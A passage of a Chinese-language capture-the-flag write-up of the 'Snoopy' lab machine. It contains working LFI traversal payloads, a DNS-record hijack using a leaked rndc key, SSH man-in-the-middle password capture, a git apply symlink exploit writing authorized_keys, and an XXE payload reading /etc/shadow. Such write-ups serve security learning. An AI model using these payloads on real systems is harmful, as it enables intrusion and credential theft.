Snoopy Writeup
- 241121: Fixed typos and wrong pasted sample commands.
- 241129: Fixed indentation error and added tags.
靶機資訊
Machine | Description |
---|---|
Name | Snoopy |
OS | Linux |
Difficulty | Hard |
Author | ctrlzero |
情蒐 Recon Part 1
服務掃描
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ee:6b:ce:c5:b6:e3:fa:1b:97:c0:3d:5f:e3:f1:a1:6e (ECDSA)
|_ 256 54:59:41:e1:71:9a:1a:87:9c:1e:99:50:59:bf:e5:ba (ED25519)
53/tcp open domain ISC BIND 9.18.12-0ubuntu0.22.04.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.18.12-0ubuntu0.22.04.1-Ubuntu
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: SnoopySec Bootstrap Template - Index
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ sudo nmap -p- --min-rate 6969 10.129.229.5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-12 02:04 EST
Nmap scan report for 10.129.229.5
Host is up (0.056s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 9.68 seconds
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ sudo nmap -p22,53,80 -sCV --min-rate 6969 10.129.229.5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-12 02:04 EST
Nmap scan report for 10.129.229.5
Host is up (0.057s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ee:6b:ce:c5:b6:e3:fa:1b:97:c0:3d:5f:e3:f1:a1:6e (ECDSA)
|_ 256 54:59:41:e1:71:9a:1a:87:9c:1e:99:50:59:bf:e5:ba (ED25519)
53/tcp open domain ISC BIND 9.18.12-0ubuntu0.22.04.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.18.12-0ubuntu0.22.04.1-Ubuntu
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: SnoopySec Bootstrap Template - Index
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.09 seconds
掃完標的發現開啟三個port,分別是SSH、DNS和HTTP,系統是打過patch的Ubuntu,Web用Nginx
代理。
在此特別注意到DNS服務是 Bind9 ,之後會用到。
HTTP - Port 80
連線至標的首頁,可以在最下方找到一個Email地址,[email protected]
。
檢視頁面原始碼,發現網站域名:
snoopy.htb
,於是將域名加至/etc/host
中。
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ echo "10.129.229.5 snoopy.htb" | sudo tee -a /etc/hosts
10.129.229.5 snoopy.htb
除此之外,還可以發現announcement文件下載連結,http://snoopy[.]htb/download?file=announcement.pdf
,於是使用Burp Suite攔截看看。
發現LFI弱點
將GET /download?file=announcement.pdf HTTP/1.1
封包轉置Repeater,發現目標檔案會被壓成press_release.zip
的zip檔下載下來。
嘗試修改file
參數,首先測試相對路徑:file=./announcement.pdf
,結果成功下載到一樣的檔案,因此推測網站背後運行的app可以處理檔案的相對路徑,於是進一步嘗試看看是否有LFI弱點。
經過測試,發現簡單的....//
可以繞過系統檢查,就可利用LFI弱點任意讀取系統檔案。
為什麼....//
可以繞過系統檢查?
因為過濾機制沒有遞回檢查(recursive)。
可以先想像成系統只檢查所有可見的../
:
../
,導致防禦機制被繞過。
LFT任意本機檔案下載
除了可以嘗試透過LFI下載passwd
和通靈其他檔案(如:SSH金鑰)之外,還能作些什麼?
記得一開始掃描掃到Port 53
的Bind9嗎? 這是一個方向。

讀取Bind9設定檔
如果沒有假設過DNS(Bind9,或有人稱named)的經驗,不知道這到底是什麼服務,可以直接Google它的設定檔,像是:「bind9 config debian」,就會找到Debian 官方網站,告訴你一般Bind9的設定檔(named.conf*
)會在/etc/bind
底下,和這個服務大致上的功能是什麼。
對了,建議搜尋時要加上系統分支,像是:Debian,因為有時候不同分支設定檔位置不大一樣。
官方文件裡除了說明設定檔位置之外,還指出如果有一併使用rndc的話,在相同目錄下,還會有一份rndc.key
金鑰設定檔,這待會再說,在此先下載看看有沒有named.conf
。
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ wget -qO- "http://snoopy.htb/download?file=....//....//....//....//....//....//etc/bind/named.conf" | busybox unzip -
Archive: -
inflating: press_package/etc/bind/named.conf
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ cat press_package/etc/bind/named.conf
// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the
// structure of BIND configuration files in Debian, *BEFORE* you customize
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local
include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";
key "rndc-key" {
algorithm hmac-sha256;
secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};
named.conf
設定檔,連rndc金鑰(rndc-key)都一併拿到了!
設定檔中的Zone Transfer
只看named.conf
還不夠,還沒沒結束,既然DNS的功能是解析域名,怎麼不也看看設定了那些域名紀錄呢?
至少也先把named.conf.local
下載下來看看。
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ wget -qO- "http://snoopy.htb/download?file=....//....//....//....//....//....//etc/bind/named.conf.local" | busybox unzip -
Archive: -
inflating: press_package/etc/bind/named.conf.local
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ cat press_package/etc/bind/named.conf.local
//
// Do any local configuration here
//
// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";
zone "snoopy.htb" IN {
type master;
file "/var/lib/bind/db.snoopy.htb";
allow-update { key "rndc-key"; };
allow-transfer { 10.0.0.0/8; };
};
仔細看named.conf.local
的內容,發現有兩個有意思的設定:
-
allow-update { key "rndc-key"; };
這表示允許使用rndc key註冊DNS zone,意思是我們可以任意修改DNS記錄。什麼是DNS Zone?
DNS zone是一個DNS伺服器管理的域名空間(zone)。
每個zone都有一個唯一的名稱,例如snoopy.com
,DNS zone包含了該域名下的所有DNS記錄,包括A記錄(IPv4)、MX記錄(郵件交換)、NS記錄等,這些紀錄在此寫在/var/lib/bind/db.snoopy.htb
裡面。 -
allow-transfer { 10.0.0.0/8; };
這表示只要是在10.0.0.0/8
網段底下的來源都可以使用zone transfer (AXFR)。什麼是DNS Zone Transfer?
Zone transfer就是將DNS zone中的DNS記錄從一台DNS伺服器複製到另外一台DNS的過程,簡單來說就是「同步」,這讓網域中的多台DNS伺服器具有主從關係,讓管理者透過master管理、更新其他slaves,可利用以下情境,例如:
- DNS伺服器備份、備援
- 平衡負載
當其中一台DNS負載過重時,可以將zone中的DNS記錄複製到另一個DNS伺服器,以分散流量。 - DNS伺服器維護可靠性
當DNS伺服器需要維護時,可以將zone中的記錄複製到另一DNS伺服器,以確保服務不中斷。 我想要遠端改DNS紀錄啦
題外話,zone transfer分有以下兩種方法:
- AXFR(Authoritative Zone Transfer)
完整zone transfer,將zone中的所有DNS記錄複製到另一個DNS伺服器。 - IXFR(Incremental Zone Transfer)
差異zone transfer,只將zone中的變更記錄複製到另一個DNS伺服器。
AXFR取得新站點(子網域)
怎麼知道要利用zone transfer?看完設定檔哪夠啊?
你不覺得剛剛nmap
掃出DNS聽53/TCP很奇怪嗎?
一般來說,DNS query只需要聆聽53/UDP,在此就是為了zone transfer功能才開啟TCP,
不然UDP封包大小上限不夠傳輸資料,除非資料大小小於512 byte。
使用dig
指令搭配AXFR,取得完整zone,發現snoopy.htb
底下有不少子網域,觀察網域所指向的位置有三種:
- 指向172網段(
172.18.0.0/24
)
像是mattermost.snoopy.htb
,可能是docker container(172.18.0.0/24
是預設網段),也可能是網域中的其他設備。 - 指向10網段(
10.0.0.0/8
)
像是ns1.snoopy.htb
,可能是網域中的其他設備。 - 指向本機(
127.0.0.1
)
像是mm.snoopy.htb
,指向目前靶機本機,是目前唯一可以直接連線的站點。
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ dig axfr @10.129.229.5 snoopy.htb
; <<>> DiG 9.20.2-1-Debian <<>> axfr @10.129.229.5 snoopy.htb
; (1 server found)
;; global options: +cmd
snoopy.htb. 86400 IN SOA ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
snoopy.htb. 86400 IN NS ns1.snoopy.htb.
snoopy.htb. 86400 IN NS ns2.snoopy.htb.
mattermost.snoopy.htb. 86400 IN A 172.18.0.3
mm.snoopy.htb. 86400 IN A 127.0.0.1
ns1.snoopy.htb. 86400 IN A 10.0.50.10
ns2.snoopy.htb. 86400 IN A 10.0.51.10
postgres.snoopy.htb. 86400 IN A 172.18.0.2
provisions.snoopy.htb. 86400 IN A 172.18.0.4
www.snoopy.htb. 86400 IN A 127.0.0.1
snoopy.htb. 86400 IN SOA ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
;; Query time: 56 msec
;; SERVER: 10.129.229.5#53(10.129.229.5) (TCP)
;; WHEN: Tue Nov 12 06:31:37 EST 2024
;; XFR size: 11 records (messages 1, bytes 325)
其他枚舉子網域的方法
如果今天沒有zone transfer可以使用,以下還有一些方法可以取得其他站點(子網域)。
1. 繼續讀取Bind9設定檔
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ wget -qO- "http://snoopy.htb/download?file=....//....//....//....//....//....//var/lib/bind/db.snoopy.htb" | busybox unzip -
Archive: -
inflating: press_package/var/lib/bind/db.snoopy.htb
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ cat press_package/var/lib/bind/db.snoopy.htb
$ORIGIN .
$TTL 86400 ; 1 day
snoopy.htb IN SOA ns1.snoopy.htb. ns2.snoopy.htb. (
2022032612 ; serial
3600 ; refresh (1 hour)
1800 ; retry (30 minutes)
604800 ; expire (1 week)
86400 ; minimum (1 day)
)
NS ns1.snoopy.htb.
NS ns2.snoopy.htb.
$ORIGIN snoopy.htb.
$TTL 86400 ; 1 day
mattermost A 172.18.0.3
mm A 127.0.0.1
ns1 A 10.0.50.10
ns2 A 10.0.51.10
mattermost A 172.18.0.3
postgres A 172.18.0.2
provisions A 172.18.0.4
www A 127.0.0.1
2. 讀取Nginx的設定檔
一般來說,Nginx通常搭配vHost (virtual host)處理子網域,可能可以在/etc/nginx/nginx.conf
裡面找到/etc/nginx/sites-enabled/
下面的站點設定檔,或者是猜測/etc/nginx/sites-enabled/default.conf
存在。
但是No luck. QQ
3. ffuf
字典檔暴搜
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ ffuf -u http://10.129.229.5 -H "Host: FUZZ.snoopy.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fl 481
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.229.5
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.snoopy.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response lines: 481
________________________________________________
mm [Status: 200, Size: 3132, Words: 141, Lines: 1, Duration: 70ms]
:: Progress: [4989/4989] :: Job [1/1] :: 527 req/sec :: Duration: [0:00:09] :: Errors: 0 ::
情蒐 Recon Part 2
目前架構推測
%%{
init: {
'theme': 'base',
'themeVariables': {
'darkMode': 'true'
}
}
}%%
architecture-beta
group intra(server)[Intra]
group snoopy(server)[SNOOPY]
group inter(server)[Internet]
service n1(server)[ns1] in intra
service n2(server)[ns2] in intra
service web(disk)[www] in snoopy
service nginx(cloud)[nginx] in snoopy
service host(disk)[host] in snoopy
service docker(cloud)[docker] in snoopy
service db(database)[postgres] in snoopy
service mm(disk)[mm] in snoopy
service mattermost(cloud)[mattermost] in snoopy
service provisions(cloud)[provisions] in snoopy
service hacker(server)[hacker] in inter
n1:R -- L:host
n2:R -- B:host
host:R -- L:docker
docker:R -- L:nginx
nginx:L -- L:web
nginx:T -- L:mm
hacker:L -- R:web
hacker:B -- R:mm
mattermost:B -- T:docker
db:T -- B:docker
provisions:B -- T:docker
HTTP - mm
首先把mm.snoopy.htb
加入至/etc/hosts
。
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ echo "10.129.229.5 mm.snoopy.htb" | sudo tee -a /etc/hosts
[sudo] password for kali:
10.129.229.5 mm.snoopy.htb
連線至該網站,發現架著了Mattermost
,且可以登入。
但是除了一開始發現的[email protected]
,沒有其他帳號可以測試,所以先回去本站snoopy.htb
尋找其他資訊。
使用者帳號蒐集
回至本站,在Team頁面,詳列出4位公司成員的Email:
嘗試重設帳號密碼
回到mm的登入畫面,嘗試重設任何一個帳號的密碼,同時Burp Suite攔截封包。
但是系統回復:「Failed to send password reset email successfully.」,這表示Email傳送失敗,可能系統再某些環節失效。
到目前為止,猜猜看是什問題導致的?
It’s DNS. It’s always DNS
It’s not DNS,
There’s no way it’s DNS. It was DNS.
「DNS壞掉」,這是系統工程師除了機車的需求之外,最常遇到的鳥問題,所以,永遠,都先懷疑DNS。/s
再次回到本站檢查其他頁面,發現在Contact頁的上方有一條注釋,說他們的mailserver目前是下線狀態,理所當然,mail.snoopy.htb
也一同下線了。
這也就是為什麼剛才mm沒辦法寄重設信了,因為mm根本找不到mail.snoopy.htb
的DNS紀錄!
DNS挾持
既然沒有mail.snoopy.htb
的DNS紀錄,那就自己新增一個吧! 使用剛剛取得的rndc key新增一筆指向自己的A紀錄,這樣一來,當mm在詢問mail.snoopy.htb
的IP時,就會問到我們的IP,然後把信件寄給我們。
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ nsupdate -k rndc.key
> server 10.129.229.5
> zone snoopy.htb
> update add mail.snoopy.htb 60 A 10.10.14.14
> send
> answer
Answer:
;; ->>HEADER<<- opcode: UPDATE, status: NOERROR, id: 1068
;; flags: qr; ZONE: 1, PREREQ: 0, UPDATE: 0, ADDITIONAL: 1
;; ZONE SECTION:
;snoopy.htb. IN SOA
;; TSIG PSEUDOSECTION:
rndc-key. 0 ANY TSIG hmac-sha256. 1731483905 300 32 wDv+7IjeQw+hvjWDdARFjW/KWy3Dyes3NYwN/Oy5SFc= 1068 NOERROR 0
> quit
攔截密碼重設信
收信了啦!怎麼收?
由於現在是扮演郵件伺服器的角色,需要建立能夠監聽SMTP(Port 25
)的服務,在此使用Python的smtpd
模組,當然也可以選你喜歡的mailserver,像是postfix
。
記得要使用sudo
啟動SMTP!
Linux系統保留1~1023的port,需要有root權限才可取用。
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ sudo pipx install aiosmtpd --global
installed package aiosmtpd 1.4.6, installed using Python 3.12.6
These apps are now globally available
- aiosmtpd
done! ✨ 🌟 ✨
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ sudo aiosmtpd -n -l 10.10.14.14:25
可能需要重新設定mail.snoopy.htb
HTB的靶機是設計給多位攻擊者同時入侵的,因此會定時重設環境。
成功開啟SMTP服務後,寄出密碼重設信,可以在信件中看見重設密碼連結。
重設sbrown
的密碼
將Url複製到瀏覽器裡,嘗試重設密碼,但是mm卻回應:
「Invalid or missing token in request body.」。
為什麼?
重設密碼失敗的原因
仔細觀察觀察Url,發現在token=3D4tokp=nbk3...
的地方出現了兩個=
,
這導致mm收到重設密碼request時,認為token
的實際值只有3D4tokp
,
所以當然token的形式不對,因此報錯。

=
,例如結尾和'
的位置,因此可以推測這應該是某種encoding。上網搜尋:「email encoding decode」就可以找到google的Toolbox,輸入剛才的網址,然後把所有decode的方式都嘗試一遍,發現「Quoted-Printable Decode」可以成功解碼Url。
重設密碼成功
從解碼後的Url可見token
的部分正常了,因此重設密碼成功。
內部情蒐
成功以sbrown
的身份登入後,閱讀他們工作群組的訊息:
從該群組可以得知幾件事:
cbrown
應該是他們的DevOpsSec = DEV + IT + Security,大概有夠血汗高管理權限。- 內部人員可以透過的新頻道申請server設定。
- 新設定好的server內建防禦機制ClamAV。
重設cbrown
的密碼
既然cbrown
在線上,而且又能夠協助他人設定,應該具有較高的權限,因此重設他的密碼看看。
新頻道Server Provisioning
登入cbrown
的帳號,發現可以取得新頻道Server Provisioning
。
頻道裡面只有兩個成員:cbrown
和admin
。
/server_provision
功能
在聊天室訊息框裡輸入/
,mm自動跳出可以下大的指令,其中一個唯一有沒有解釋的就是server_provision
,
也就是剛才在工作群組裡面提及的功能。
怎麼知道要在訊息框裡面輸入/
?
直覺,我很難解釋為什麼,但是如果硬要解釋的話,應該可以說是「經驗」。
因為Minecraft指令和Discord、Telegram的機器人指令都是這樣下在聊天室,
加上mm也是使用一樣聊天室的形式,所以我就先入為主的認為指令也是使用相同的方式下達。
輸入該指令後,跳出一個預約server設定的視窗,所以就嘗試預約看看。
在Email欄位填入了cbrown
的Email,並再次設定DNS與啟動SMTP,以免又要收信,
在operationg System的選項只有一個選項可以選擇:「Linux - TCP/2222」,
在Server IP地址的位置填入自己的IP,最後在送出預約前在本機監聽Port 2222
。
結果發現有人嘗試登入SSH。
SSH MITM/Honey Pot
既然有人嘗試登入我方的SSH服務,就可以嘗試使用SSH-MITM中間人或是蜜罐他。
成功取得cbrown
的密碼!
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ ssh-mitm server --remote-host 10.129.237.202 --listen-port 2222
─────────────────────────────────────────────────────────────────── SSH-MITM - ssh audits made simple ────────────────────────────────────────────────────────────────────
Documentation: https://docs.ssh-mitm.at
Issues: https://github.com/ssh-mitm/ssh-mitm/issues
───────────────────────────────────────────────────────────────────────────── Configuration ──────────────────────────────────────────────────────────────────────────────
🔑 SSH-Host-Keys:
generated temporary RSAKey key with 2048 bit length
MD5:72:7d:2e:59:9c:ba:3c:f9:4c:cb:9a:cc:7e:1b:4d:a2
SHA256:0td88petk3F91zxaSgl9D8zUp6paSfww9EKGWpVxnck
SHA512:7F8B/A8NN7a3OR/nyLFXaDzzeidoc3hp5Sb0fNO1OAzXVXt8vqodiQfNm4SE1eMNCxVFI9izsAn7OMtTXFzfZw
..........................................................................................................................................................................
💻 listen interfaces :: on port 2222
──────────────────────────────────────────────────────────────────────── waiting for connections ─────────────────────────────────────────────────────────────────────────
[11/15/24 02:38:16] INFO ℹ session 27177138-7aa2-489f-8ca5-fea5a81ca9a3 created
INFO ℹ client information:
- client version: ssh-2.0-paramiko_3.1.0
- product name: Paramiko
- vendor url: https://www.paramiko.org/
- client address: ip=::ffff:10.129.237.202 port=40478
⚠ detected vulnerabilities by active tests:
CVE-2020-14145 - Fingerprint information leak
* client uses same server_host_key_algorithms list for unknown and known hosts
* Preferred server host key algorithm: ssh-ed25519
CVE-2023-48795 - Terrapin-Attack
* ChaCha20-Poly1305 support: False
* CBC-EtM support: True
* Strict key exchange support: False
* Mitigation status: vulnerable
[11/15/24 02:38:17] INFO Remote authentication succeeded
Remote Address: 10.129.237.202:22
Username: cbrown
Password: sn00pedcr3dential!!!
Agent: no agent
INFO ℹ 27177138-7aa2-489f-8ca5-fea5a81ca9a3 - local port forwarding
SOCKS port: 33639
SOCKS4:
* socat: socat TCP-LISTEN:LISTEN_PORT,fork socks4:127.0.0.1:DESTINATION_ADDR:DESTINATION_PORT,socksport=33639
* netcat: nc -X 4 -x localhost:33639 address port
SOCKS5:
* netcat: nc -X 5 -x localhost:33639 address port
INFO got ssh command: ls -la
[11/15/24 02:38:18] INFO ℹ 27177138-7aa2-489f-8ca5-fea5a81ca9a3 - session started
INFO got remote command: ls -la
INFO remote command 'ls -la' exited with code: 0
ERROR Socket exception: Connection reset by peer (104)
INFO ℹ session 27177138-7aa2-489f-8ca5-fea5a81ca9a3 closed
[11/15/24 02:41:29] INFO ❗ Shutting down server ...
SSH登入cbrown
登入cbrown
的SSH後,發現user的下方沒有user.txt
,代表cbrown
不是目標,
ls /home
可以得知還有另外一位使用者sbrown
。於是嘗試取得sbrown
的權限,首先看看sudo -l
。
cbrown@snoopy:/home$ sudo -l
[sudo] password for cbrown:
Matching Defaults entries for cbrown on snoopy:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass
User cbrown may run the following commands on snoopy:
(sbrown) PASSWD: /usr/bin/git ^apply -v [a-zA-Z0-9.]+
發現cbrown
可以以sbrown
的身分使用git apply
。
CVE-2023-23946 - git apply
如果不知道怎麼利用git apply
,通常看到sudo -l
有可利用程式時,可以先上GTFOBins,
也許會有一些暗示也說不定。

結果在Git頁面得知git apply
確實可以利用於「File write」。
git apply
是什麼?要怎麼利用?
git apply
是Git其中一個功能,將git diff
產出的變動紀錄(或稱patch,也就是補丁)實際套用到目的地中。舉例來說,若想要SSH登入sbrown
,除了取得SSH金鑰之外,就是把自己的SSH公鑰加入sbrown
的authorized_keys
,因此,利用git diff
偽造一個在sbrown
的authorized_keys
增加SSH公鑰的紀錄,然後再git apply
到/home/sbrown/.ssh
下,就可以真的寫入公鑰。
人工製造Patch Payload
首先,隨便創造一個目錄,並在理面初始化git。
cbrown@snoopy:~$ mkdir sshauth && cd $_
cbrown@snoopy:~/sshauth$ git init
hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint:
hint: git config --global init.defaultBranch <name>
hint:
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint:
hint: git branch -m <name>
Initialized empty Git repository in /home/cbrown/sshauth/.git/
使用touch
新增一個authorized_keys
,並加入Git記錄中,再用git diff
查看變動紀錄,這樣一來就成功製造出新增authorized_keys
的紀錄了。
cbrown@snoopy:~/sshauth$ touch authorized_keys
cbrown@snoopy:~/sshauth$ git add -N authorized_keys
cbrown@snoopy:~/sshauth$ git diff
WARNING: terminal is not fully functional
Press RETURN to continue
diff --git a/authorized_keys b/authorized_keys
new file mode 100644
index 0000000..e69de29
將真的SSH公鑰加到authorized_keys
下,再次使用git diff
查看變動紀錄,並存到檔案中。
cbrown@snoopy:~/sshauth$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILrTGODhENPkBXJ9xtQwpB2jFCzO6943sy9z0szU7bji kali@kali" > authorized_keys
cbrown@snoopy:~/sshauth$ git diff
WARNING: terminal is not fully functional
Press RETURN to continue
diff --git a/authorized_keys b/authorized_keys
new file mode 100644
index 0000000..2181ec1
--- /dev/null
+++ b/authorized_keys
@@ -0,0 +1 @@
+ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILrTGODhENPkBXJ9xtQwpB2jFCzO6943sy9z0szU7bji kali@kali
cbrown@snoopy:~/sshauth$ git diff > ssh.patch
但這樣還不夠,因為diff
產生所有變動都是在"目前的目錄"下執行,也就是說如果現在在/tmp
底下打patch,
結果會是在/tmp
底下建立.home/sbrown/.ssh/authorized_keys
,而不是真的加入到/home/sbrown/
下,
所以嘗試加入../
,編輯後ssh.patch
如下:
diff --git a/../../../home/sbrown/.ssh/authorized_keys b/../../../home/sbrown/.ssh/authorized_keys
new file mode 100644
index 0000000..2181ec1
--- /dev/null
+++ b/../../../home/sbrown/.ssh/authorized_keys
@@ -0,0 +1 @@
+ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILrTGODhENPkBXJ9xtQwpB2jFCzO6943sy9z0szU7bji kali@kali
cbrown@snoopy:~$ chmod 777 ssh.patch
cbrown@snoopy:~$ mv ssh.patch /tmp/ && cd /tmp/
cbrown@snoopy:/tmp$ sudo -u sbrown /usr/bin/git apply -v ssh.patch
[sudo] password for cbrown:
Checking patch ../../../home/sbrown/.ssh/authorized_keys...
error: invalid path '../../../home/sbrown/.ssh/authorized_keys'
但這樣還是不行,原因是Git的保護機制,
讓Git在apply之前先檢查路徑是否會超出目前的工作目錄,如果真的超過目前目錄,則視為錯誤拒絕。
若要忽略這項檢查就需要加入--unsafe-paths
選項才行,
但是這樣一來就不符合sudo -l
中的正規表示式^apply -v [a-zA-Z0-9.]+
了。
於是查了目前Git的版本後,看看有沒有CVE。
CVE與修改Payload
搜尋「git apply cve」的第一個結果正式GitHub的Git漏洞公告,說明在2.39.2之前的所有git版本apply的路徑檢查機制具有漏洞。
理論上,Git仍然會阻擋超出工作目錄的補丁,但是你可以利用系統檔案連結(symbolic link)繞過檢查機制。

我當下沒有明白他的意思,所以就只能先去看來原始碼修正了什麼,從「2.39.2.txt」的release note往前找所有的commit history, 就找到「apply: fix writing behind newly created symbolic links」的記錄。
修正漏洞的方式其實很單純,就是再多加檢查path是不是symbolic link而已。
同一份commit下也包含了弱點測試腳本:
由此可知,只要在相同工作目錄下創造/home/sbrown/.ssh
的symbolic link,並加入到patch中,
就可以繞過檢查機制。
diff --git a/link b/renamed-symlink
similarity index 100%
rename from link
rename to renamed-symlink
--
diff --git /dev/null b/renamed-symlink/authorized_keys
new file mode 100644
index 0000000..2181ec1
--- /dev/null
+++ b/renamed-symlink/authorized_keys
@@ -0,0 +1,1 @@
+ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILrTGODhENPkBXJ9xtQwpB2jFCzO6943sy9z0szU7bji kali@kali
cbrown@snoopy:/tmp$ ln -s /home/sbrown/.ssh link
cbrown@snoopy:/tmp$ chmod 777 ssh.patch
cbrown@snoopy:/tmp$ sudo -u sbrown /usr/bin/git apply -v ssh.patch
Checking patch link => renamed-symlink...
Checking patch renamed-symlink/authorized_keys...
warning: unable to unlink 'link': Operation not permitted
Applied patch link => renamed-symlink cleanly.
Applied patch renamed-symlink/authorized_keys cleanly
結果成功寫入我方SSH公鑰,SSH登入sbrown
。
┌──(kali㉿kali)-[~]
└─$ ssh [email protected]
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-71-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
sbrown@snoopy:~$ cat user.txt
7bccd281b63344559cc0b1018f2c833c
SSH登入sbrown
Snoopy是賽季靶機,當時沒有公開PoC。
登入sbrown
的SSH後,先看看sudo -l
有沒有提權路徑。
sbrown@snoopy:~$ sudo -l
Matching Defaults entries for sbrown on snoopy:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass
User sbrown may run the following commands on snoopy:
(root) NOPASSWD: /usr/local/bin/clamscan ^--debug /home/sbrown/scanfiles/[a-zA-Z0-9.]+$
sbrown@snoopy:~$ clamscan --version
ClamAV 1.0.0/26853/Fri Mar 24 07:24:11 2023
發現sbrown
可以以root
的身份以clamscan
掃描scanfiles
底下的檔案,且版本是1.0.0
,
於是搜尋看看有沒有CVE。
CVE-2023-20052 - clamscan

結果從官方Blog得知, 該版本有兩項CVE:
- CVE-2023-20032: HFS+ parser的BOF弱點,當時沒有公開PoC,外加ClamAV多半是harden,所以先跳過。
- CVE-2023-20052: DMG檔案parser的XXE弱點,可能比較容易,所以先試試看。
分析clamscan
的行為
從CVE描述的內容大概可推測,parser是在處理DMG檔的metadata時沒有過濾,導致XXE弱點。
為了分析clamscan
處理DMG檔案的行為,先隨便下載一個DMG檔給它掃看看,在此使用macFUSE
。
首先直接用cat
印出macFUSE檔案的內容,然後擷取下xml的部分,再把檔案丟給clamscan
掃描並存下log,log的部分只看和 dmg 有關的記錄,
左右參照可知,關鍵字:blkx
和plst
同時出現在兩邊,所以兩邊都嘗試XXE。
LibClamAV debug: cli_scandmg: Matched blkx
LibClamAV debug: dmg_decode_mish: startSector = 0 sectorCount = 32768 dataOffset = 0 stripeCount = 17
LibClamAV debug: cli_scandmg: wanted blkx, text value is plst
LibClamAV debug: dmg_handle_mish: stripes in order!
LibClamAV debug: dmg_handle_mish: extracting block 0 to /tmp/20241115_134459-scantemp.2f1ff39fca/dmg-tmp.31edf014be/dmg00
人工製造XXE Payload
在此將常見的XXE payload改如dmg檔的metadata中。
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</userInfo>
從PUBLIC
開始到最後都要取代成payload,並且blkx
